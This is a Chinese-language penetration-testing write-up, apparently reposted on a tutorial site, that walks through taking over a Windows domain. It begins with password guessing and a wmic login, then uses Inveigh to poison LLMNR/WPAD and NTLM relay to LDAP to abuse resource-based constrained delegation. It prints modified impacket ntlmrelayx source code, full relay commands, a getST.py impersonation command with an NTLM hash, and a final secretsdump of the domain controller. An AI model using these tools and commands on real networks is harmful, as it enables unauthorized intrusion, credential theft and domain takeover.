您好,登錄后才能下訂單哦!
這篇文章主要介紹“怎么利用中繼和委派”,在日常操作中,相信很多人在怎么利用中繼和委派問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么利用中繼和委派”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
通過 VPN 撥入內網,根據下發路由和前期的探測發現目標內網存在 10.10.1.0/24 、10.10.2.0/24 兩個活躍段。10.10.1.88 為域控制器。
根據前期的信息收集,活躍段中并沒有什么可以直接利用的點,整理手上的已有信息。目標內網的機器主機名均為 ATTACK-TONY-PC ,猜測中間的字符串為用戶名,使用 Kerberos pre-auth 的特性驗證了我們的猜測,并收集所有主機名和 VPN 密碼做組合成功枚舉出了一組口令。具體用到的工具參考 滲透技巧——通過Kerberos pre-auth進行用戶枚舉和口令爆破
根據以往的經驗,這種以用戶名為主機名的域,大概率會把域用戶添加到本地管理員組,找到用戶對應的機器,直接 wmic 試一下
wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx os get name
果然正確的返回的操作系統信息。繼續通過 wmic 獲取機器上的進程,
wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx process get name
根據機器上的防護軟件進行相應的免殺,落地二進制文件,上線到 CS。到此,我們獲取到了域內的一個落腳點。不幸的是,這臺機器的主人貌似這是個邊緣人員,翻遍機器也沒有找到對我們用幫助的信息。本機的 500 用戶為空密碼。查看 LDAP 中的信息,幾乎整個域內機器均為 win10,有少量幾臺 server 2016,當前我們處在 10.10.1.96,域管的位置在 10.10.2.66。繼續查看 LDAP 中的信息,其中有一個我們比較關注的點:大多數機器mS-DS-CreatorSID
都是對應用戶的 SID,少部分機器的為mS-DS-CreatorSID
同一用戶的 SID (網絡管理員)。也就是說域內機器基本都是是用戶自己拉入域的,域用戶對他拉入的機器用戶有WriteProperty
權限,可以操作機器用戶的msDS-AllowedToActOnBehalfOfOtherIdentity
屬性。如果我們有了用戶的權限,就滿足了2個利用基于資源的約束委派的條件
能夠修改
msDS-AllowedToActOnBehalfOfOtherIdentity
屬性
有一個機器賬戶(這里說法其實不太準確,應該是需要一個具有SPN的賬戶,更詳細的說是需要一個賬戶的TGT就可以,機器賬戶滿足以上條件)
機器賬戶我們可以使用之前獲取到的機器ATTACK-TONY-PC$
,那用戶權限又該從哪里獲取呢?
在開始前讓我們對涉及到的知識點做一個簡單的說明。(這里只是簡單的提一下,想要完全搞明白還需要自行深入學習各個知識點)
WPAD
WPAD(Web Proxy Auto-Discovery Protocol)
是Web
代理自動發現協議的簡稱,該協議的功能是可以使局域網中用戶的瀏覽器可以自動發現內網中的代理服務器,并使用已發現的代理服務器連接互聯網或者企業內網。當系統開啟了代理自動發現功能后,用戶使用瀏覽器上網時,瀏覽器就會在當前局域網中自動查找代理服務器,如果找到了代理服務器,則會從代理服務器中下載一個名為PAC(Proxy Auto-Config)
的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載并解析該文件,并將相應的代理服務器設置到用戶的瀏覽器中。在請求WPAD
的過程中,如果服務端要求401
認證,部分瀏覽器和應用將會自動用當前用戶憑證進行認證。
LLMNR,NBT-NS
LLMNR 和 NBT-NS 均為名稱解析機制中用到的協議,在windows名稱解析過程中,大致的順序為
DNS -> LLMNR -> NetBIOS
。簡單的說DNS
協議解析不到的地址,windows
則會在當前網段域子網域發送廣播(LLMNR,NetBIOS)
來請求地址解析,如果我們和目標機器在同一子網域則可以回復廣播,欺騙地址解析。
NTLM Ralay
NTLM Relay
基于資源的約束委派
Windows Server 2012中引入了基于資源的約束委派。基于資源的約束委派允許資源配置受信任的帳戶委派給他們。基于資源的約束委派將委派的控制權交給擁有被訪問資源的管理員。
域滲透——基于資源的約束委派利用
明白了上面這些知識后,我們就可以開始進行攻擊了,攻擊流程為:在當前網段進行投毒,通過WPAD
欺騙,讓用戶來向我們進行NTLM
認證,再將認證請求中繼到LDAP
,因為用戶可以修改他拉入的機器的msDS-AllowedToActOnBehalfOfOtherIdentity
屬性,我們對該屬性進行修以配置基于資源的約束委派,來拿到其主機的權限。
impacket 目前只看到有從機器用戶中繼修改基于資源的約束委派的功能,對于我們這個攻擊流程,需要稍微修改一下。為了方便某些同學調試,我把修改過程放在這里,不想看可以直接跳過,文末有修改打包好的 impacket。
/impacket/examples/ntlmrelayx.py
中
添加options.user_delegate_access
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)
在參數處理的地方 添加
ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')
/impacket/impacket/examples/ntlmrelayx/utils/config.py 中
修改函數setLDAPOptions
,添加userdelegateaccess
def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid, userdelegateaccess):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
self.validateprivs = validateprivs
self.escalateuser = escalateuser
self.addcomputer = addcomputer
self.delegateaccess = delegateaccess
self.dumplaps = dumplaps
self.dumpgmsa = dumpgmsa
self.sid = sid
self.userdelegateaccess = userdelegateaccess
/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py
中
添加全局變量delegatePerformedUser
在class LDAPAttack(ProtocolAttack):
中 添加如下代碼
def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
global delegatePerformedUser
if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam
if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1]) # sid
else:
escalate_sid = usersam
AttackList = self.getCreatorSID(domainDumper, ssid);
# LOG.debug(AttackList)
# LOG.debug(escalate_sid)
if AttackList is False:
LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
return
LOG.info("Try to modifiy delegation rights")
for Attack in AttackList:
self.addDelegation(Attack[0], escalate_sid)
delegatePerformedUser.append(targetsam)
def addDelegation(self,target_dn,escalate_sid):
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return False
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
return True
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return False
def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformedUser
if targetsam in delegatePerformedUser:
LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
return
self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])
user = self.client.entries[0]
usersid = user['objectSid'].value
tmp_flag = self.getCreatorSID(domainDumper, usersid)
LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
if tmp_flag is not False:
for x in tmp_flag:
LOG.info('DN : %s SID : %s' % (x[0], x[1]))
self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)
在run
函數中添加如下代碼
if self.config.userdelegateaccess:
self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
return
重新安裝impacket
pip3 uninstall impacket;pip3 install .
用法
sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access
sudo python3 ./examples/ntlmrelayx.py -t ldaps://192.168.1.63 --user-delegate-access
為了避免不必要的意外,用本地測試環境來代替
name | note |
---|---|
Administer | 域管理員 |
rabbit | 普通域用戶 |
test | 普通域用戶 |
name | os | ip | note |
---|---|---|---|
DC | server2016 | 192.168.1.63 | 域控制器 |
WIN10 | windows10 | 192.168.1.59 | 個人PC,模擬我們在域內拿下的那臺機器 |
WIN10-1 | windows10 | 192.168.1.78 | 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST |
WIN10-2 | windows10 | 192.168.1.77 | 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST |
kali | kali | 192.168.1.79 | 模擬外網 vps |
首先我們在WIN10
這臺機器上開啟Inveigh
來進行LLMNR/NBNS
協議欺騙,這里我們只需要投毒的功能,所以只用C#
版本的Inveigh
就可以了,還可以配合cs
的execute-assembly
來執行以規避殺軟。欺騙的地址指向外網的vps
,也就是當前環境中的kali
execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIP 192.168.1.79
kali
開啟 ntlmrelay.py 進行監聽,指定相關攻擊的參數
sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access -debug
這里以chrome
為例,當用戶ATTACK\TEST
點擊chrome
時,則會觸發我們的攻擊鏈,接管機器權限。
a03bb9d7f80559c87765c72cb3d53d1d.png
可以看到,我們以成功配置了WIN10$
到WIN10-1
和WIN10-2
的基于資源的約束委派。接下來就可以申請高權的票據來訪問對應的服務了。
python3 getST.py -dc-ip 192.168.1.63 ATTACK/WIN10\$ -hashes aad3b435b51404eeaad3b435b51404ee:0c5082ca74c579d34d4de279a84ee44f -spn host/WIN10-2.attack.com -impersonate administrator
注入票據到當前上下文,并嘗試訪問,如圖所示,成功獲取到機器WIN10-2
的權限。
具體什么服務需要使用什么票據,參考這里 How Attackers Use Kerberos Silver Tickets to Exploit Systems
Service Type | Service Silver Tickets |
---|---|
WMI | HOST,RPCSS |
PowerShell Remoting | HOST,HTTP(WSMAN,RPCSS) |
WinRM | HOST,HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS,LDAP,CIFS |
舉個例子:
以上就是整個攻擊鏈。回到實戰中,實戰中,我通過如上攻擊鏈定向(Inveigh 指定 SpooferIPsReply 參數對特定ip進行欺騙)的拿到了幾個開發權限,并從其中一臺機器上獲取了一臺 10.10.2.0/24 段上的機器權限,這樣我們就移動到與域管同一網段下,那我們可以繼續中繼域管的憑證到 LDAP 去修改添加特權到任意用戶。Inveigh
指定 域管的ip。開啟 ntlmrelay 監聽,指定攻擊 ldap 并且指定用戶。
execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIPsReply 10.10.2.66 -SpooferIP VPS-IP
proxychains python3 ./examples/ntlmrelayx.py -t ldap://192.168.98.10 --escalate-user=rabbit
兩分鐘以后,域管請求了我們的 WPAD ,成功中繼到 ldap 并且賦予了我們指定用戶特權。(過程截圖仍由測試環境代替)
接下來就是 secretsdump.py dump 域管 hash,接管域控了。至此,拿到整個域權限。
到此,關于“怎么利用中繼和委派”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。